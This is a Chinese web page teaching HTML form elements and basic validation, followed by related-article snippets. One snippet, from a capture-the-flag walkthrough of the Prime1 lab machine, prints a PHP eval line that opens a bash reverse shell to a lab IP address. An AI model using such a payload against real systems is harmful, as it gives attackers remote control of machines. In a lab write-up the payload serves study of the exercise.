HTML中的表单(超详细)

一、表单

1.语法

<!-- action:提交的地方 method:提交的方式(get会显示,post不会)
-->
<form action="#" method="get"><p>名字:<input name="name" type="text"/></p><p>密码:<input type="password" name="pwd" id=""></p><p><input type="submit" value="提交"><input type="reset" value="重置"></p>
</form>

在实际的网页开发中通常采用post方式提交表单中的数据

2.表单元素格式

<!-- 基本语法 -->
<input type="input元素类型" name="input元素名称" value="input元素的默认值" />
属性说明
type指定元素的类型。text、password、checkbox、radio、submit、reset、file、hidden、image和button。默认值是text。
name指定表单元素的名称
value元素的默认值,type为radio的时候必须指定一个值
size指定表单元素的初始宽度。当type为text或password的时候,表单元素的大小是以字符为单位。对于其他类型,宽度是以像素为单位
maxlengthtype为text或password的时候,表示输入的最大字符数
checkedtype为radio或checkbox的时候,指定按钮是否被选中

3.表单元素

3.1文本框

<input name="name" type="text" value="蔡徐坤" size="3" maxlength="3"/>

3.2密码框

<input type="password" name="pwd" value="123" size="13" maxlength="13">

3.3单选按钮

<p>性别:<input type="radio" name="gender" value=""><input type="radio" name="gender" value="" checked></p>

radio:单选按钮

name:如果是一组,那么取相同的name

对于radio,value是必须的

checked:单选按钮默认选中的状态

3.4复选框

<p>爱好:<input type="checkbox" name="hob" value="sports"/>运动<input type="checkbox" name="hob" value="talk" checked/>聊天<input type="checkbox" name="hob" value="play"/>玩游戏
</p>

checkbox:复选框

name:一组复选框有相同的name

value:值

checked:复选框默认选中状态

3.5列表框(下拉列表框)

<p>年龄:<select name="age"><option value="18">18岁</option><option value="19" selected = "selected">19岁</option><option value="20">20岁</option></select>
</p>

select:列表框

option:选项

value:表单提交的选项的值,如果不写默认提交option中的类容

selected:默认选中项

3.6按钮

图片按钮

<p><input type="submit" value="提交"><input type="reset" value="重置">
</p>
<p><input type="image" src="images/btn.png"><input type="button" value="普通按钮">
</p>

submit:提交按钮

reset:表单重置按钮

image:图片提交按钮

button:普通按钮,天生不具备任何功能,可通过js赋予功能

3.7多行文本域

<p>个人简介:<textarea cols="30" rows="10" name="person">文本内容</textarea>
</p>

textarea:多行文本域

cols:显示的列数

rows:显示的行数

3.8文件域

<form action="#" method="get" enctype="multipart/form-data"><p>头像:<input type="file" name="files"></p>
</form>

file:文件域

enctype=“multipart/form-data”:如果要上传文件必须加。它表示表单编码属性

3.9邮箱

<p>邮箱:<input type="email" name="email" id="">
</p>

type如果指定是email,会自动验证email地址格式是否正确

3.10网址

<p>个人网站:<input type="url" name="net">
</p>

type指定是url,会自动验证url地址格式是否正确

3.11数字

<p>年龄:<input type="number" name="myage" min="0" max="10" step="2">
</p>

number:表示是数字输入框

min:最小值

max:最大值

step:步进(每次加/减多少)

3.12滑块

<p>请输入数字:<input type="range" name="range1" min="0" max="10" step="2">
</p>

range:滑块

min:允许的最小值

max:允许的最大值

step:合法的数字间隔

3.13搜索框

<form action="#" method="get"><p>请输入搜索的关键字:<input type="search" name="sousuo"><input type="submit" value="搜索"></p>
</form>

search

4.表单的高级应用

4.1隐藏域

表单在提交的时候需要提交,但是又不希望被用户看到,这样就需要用到隐藏域

<input type="hidden" name="id" value="123">

type=hidden

4.2只读

姓名:<input type="text" name="name" id="" value="蔡徐坤" readonly>

readonly:只允许读,不允许修改

4.3禁用

<input type="submit" value="提交" disabled>

disabled:表示禁用

5.表单元素的标注

增强鼠标的可用性

自动将焦点转移到与该标注相关的表单元素上

<label>标签的for属性应该与表单控件的id属性值相同,以此来建立<label>与表单控件之间的关联。如果<label>元素直接包含了表单控件(如<input>),则不需要使用for属性,因为关联是隐式的。

示例1:使用for属性
<p><label for="age">年龄:</label><input type="number" name="age" id="age">
</p>示例2:隐式关联
<form>  <label>  邮箱:  <input type="email" id="email" name="email">  </label>  <br><br>  <!-- 其他的表单元素 -->  
</form>

6.表单初级验证

6.1为什么要进行表单验证

表单验证好处:

  • 减轻服务器的压力

  • 保证数据的可行性和安全性

6.2初级方法

6.2.1placeholder
  • input类型的文本框提供一种提示
  • 可以描述文本框期待用户输入何种内容
  • 提示语默认显示,当文本输入框中输入内容的时候,提示语消失
  • 适合于input标签:text、search、url、email和password等类型
<p>用户名:<input type="text" name="name" id="" placeholder="请输入用户名,只能中文">
</p>
6.2.2required
  • 规定文本框填写内容不能为空,否则不允许用户提交表单
  • 适合于input标签:text、search、url、emial、password、number、checkbox、radio、file等类型
<p>用户名:<input type="text" name="name" id="" placeholder="请输入用户名,只能字母" required>
</p>
6.2.3pattern

用户输入内容必须符合正则表达式所指的规则,否则不能提交表单

 <!-- pattern:规则,要求我们写正则表达式[]表示一位,中间缩写的内容可以任选一个是合法的0-9 表示从0到9    a-z:从小写a到小写z[xx]{n}  他表示前面的一位按照规则重复n次用户名只能是数字、字母或下划线,并且长度是3到15[xxx]{1,}至少重复一次,无上限--><form action="#" method="get"><p>用户名:<input type="text" name="name" id="" placeholder="请输入用户名" required pattern="[a-zA-Z0-9_]{3,15}"></p><p>密码:<input type="password" name="pwd" id="" placeholder="请输入密码"></p><p>手机号:<input type="text" name="tel" required pattern="1[3578][0-9]{9}"></p><p><input type="submit" value="提交"></p></form>

二、总结

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/432506.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大规模数据处理:分库分表与数据迁移最佳实践

什么是分库分表 分库分表是一种数据库架构优化策略&#xff0c;它将数据分散存储在多个数据库或表中&#xff0c;以此来提高系统的可扩展性和性能。 虽然分库分表能够提升系统的整体性能&#xff0c;但是也不要一上来就分库分表&#xff0c;如果系统在单表的情况下&#xff0…

Vue3使用vue-quill富文本编辑器

安装依赖 npm install vueup/vue-quill quill quill-image-uploader自定义字体 把自定义字体样式放入font.css中在main.js中导入 .ql-snow .ql-picker.ql-font .ql-picker-label[data-valueSimSun]::before, .ql-snow .ql-picker.ql-font .ql-picker-item[data-valueSimSun]…

VS Code使用Git Bash终端

Git Bash可以运行linux命令&#xff0c;在VS Code的终端界面&#xff0c;找到号旁边的箭头&#xff0c;就能直接切换了 当然&#xff0c;前提是安装了Git Bash&#xff0c;并且在资源管理器里&#xff0c;能鼠标右键出"Git Bash Here"

微信getUserProfile不弹出授权框

当我们在微信小程序开发工具中想要使用getUserProfile来获取个人信息的时候&#xff0c;会发现不弹出授权框&#xff0c;这是什么原因呢&#xff1f; 早在2022年的小程序官方公告中就已经明确给出了小程序用户头像昵称获取规则调整公告 因此如果还想继续使用getUserProfile的弹…

Unity 外描边简单实现(Shader Graph)

1&#xff1a;原理 将物体的模型空间的位置&#xff08;也就是顶点数据&#xff09;放大&#xff0c;作为一个单独的渲染通道单独渲染&#xff0c;这时候模型是已经发大过的&#xff0c;要想看到外描边的效果&#xff0c;需要将正面显示的东西给去掉&#xff0c;显示背面渲染的…

uniapp微信小程序,获取上一页面路由

在进入当前页面的时候&#xff0c;判断是不是从某个页面跳转过来的&#xff08;一般是当前页面为公共页面是出现的&#xff09;&#xff0c;比如 A-->B C-->B ,那么 要在 C跳转到B页面的时候多个提示语什么的 而在A跳转到B时不需要&#xff0c;那么就要判断 上一页面的…

衡石分析平台系统管理手册-功能配置之SMTP 服务

SMTP 服务​ SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议。它是一组用于从源地址到目的地址传输邮件的规范&#xff0c;通过它来控制邮件的中转方式。 HENGSHI 用户需要开启 SMTP 服务并进行配置&#xff0c;才能收到系统发送邮件。 SMTP 服务需要用户配置服务器…

传递正能量

“扫黑除恶&#xff0c;弘扬正气”学习心得 近日&#xff0c;我深入学习了关于“扫黑除恶&#xff0c;弘扬正气”的重要精神和相关政策&#xff0c;这次学习不仅让我对扫黑除恶的正确性、紧迫性和重要性有了更深的理解&#xff0c;也让我对如何弘扬社会正气、维护社会稳…

socket是什么?套接字是什么?

Socket的原意是“插座”。在计算机通信领域&#xff0c;socket 被翻译为“套接字”&#xff0c;它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定&#xff0c;一台计算机可以接收其他计算机的数据&#xff0c;也可以向其他计算机发送数据。 我们把插头插到插…

仪表放大器AD620

AD623 是一款低功耗、高精度的仪表放大器&#xff0c;而不是轨到轨运算放大器。它的输入电压范围并不覆盖整个电源电压&#xff08;轨到轨&#xff09;&#xff0c;但在单电源供电下可以处理接近地电位的输入信号。 AD620 和 AD623 都是仪表放大器&#xff0c;但它们在一些关键…

网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台

PHP、Python、JavaScript、Ruby、Java和.NET各自适用于不同类型的网站平台。以下是对这些编程语言适用场景的具体介绍&#xff1a; PHP Web开发&#xff1a;PHP是一种广泛使用的开源服务器端脚本语言&#xff0c;特别适合Web开发。全球有超过80%的网站使用PHP作为服务器端编程语…

MATLAB案例 | 沪深股市收益率的二元Copula模型

沪深股市收益率的二元Copula模型 1. 案例描述2.实现流程2.1 确定随机变量的边缘分布2.1.1 参数法计算流程2.1.2 非参数法 2.2 选取适当的Copula函数2.3 参数估计 3. 完整代码参考资料 1. 案例描述 现有上海和深圳股市同时期日开盘价、最高价、最低价、收盘价、收益率等数据,跨…

【FPGA必知必会】(二)7系列的配置(二)边界扫描与JTAG

1、边界扫描是什么 边界扫描&#xff08;Boundary Scan&#xff09;是一种用于测试和诊断电子系统的技术。它通过在电路板上的特定引脚上插入探针&#xff0c;并对这些引脚进行测量来确定电路板的状态。 这种技术可以用来检测电路板上的故障和错误&#xff0c;并且可以在不拆…

Lua中..和...的使用区别

一. .. 的用法 二. ... 的用法 在 Lua 中&#xff0c;... 是一个特殊符号&#xff0c;它用于表示不定数量的参数。当你在函数定义或调用中使用 ... 时&#xff0c;它可以匹配任意数量的参数&#xff0c;并将它们作为列表传递。在您的代码示例中&am…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

刷题学习日记 (1) - SWPUCTF

写这篇文章主要是想看看自己一个下午能干啥&#xff0c;不想老是浪费时间了&#xff0c;所以刷多少题我就会写多少题解&#xff0c;使用nss随机刷题&#xff0c;但是今天下午不知道为啥一刷都是SWPUCTF的。 [SWPUCTF 2021 新生赛]gift_F12 控制台ctrlf搜索flag即可&#xff0…

【Python】自己写的包,在Spyder中跳不到自己包的位置怎么办?

我很喜欢用Spyder来做测试。但是我总是发现&#xff0c;我想要跳转外部的包或者自己写的包&#xff0c;但是发现不行。 解决的方法&#xff1a; 使用快捷键&#xff08;Ctrl 鼠标左键点击&#xff09;&#xff1a; 在 Spyder 中&#xff0c;你可以使用 Ctrl 鼠标左键点击 来…

作业报告┭┮﹏┭┮(Android反调试)

一&#xff1a;Android反调试 主要是用来防止IDA进行附加的&#xff0c;主要的方法思路就是&#xff0c;判断自身是否有父进程&#xff0c;判断是否端口被监听&#xff0c;然后通过调用so文件中的线程进行监视&#xff0c;这个线程开启一般JNI_OnLoad中进行开启的。但是这个是…

二进制文件与文本文件的区别【字符集Charset】

计算机上存储的文件在比特位上都是以二进制数字0或1表示&#xff0c;因此在物理层面上&#xff0c;文本文件和二进制文件没有本质差异&#xff0c;都是由数字0或1组成的比特位集合。 文本文件和二进制文件&#xff0c;两者的差异体现在编码逻辑&#xff0c;需要根据文件头中标…

PVE虚拟机被锁定locked解决方法

打开pve节点的shell&#xff0c;执行以下命令 qm unlock <VMID> 示例&#xff1a; qm unlock 112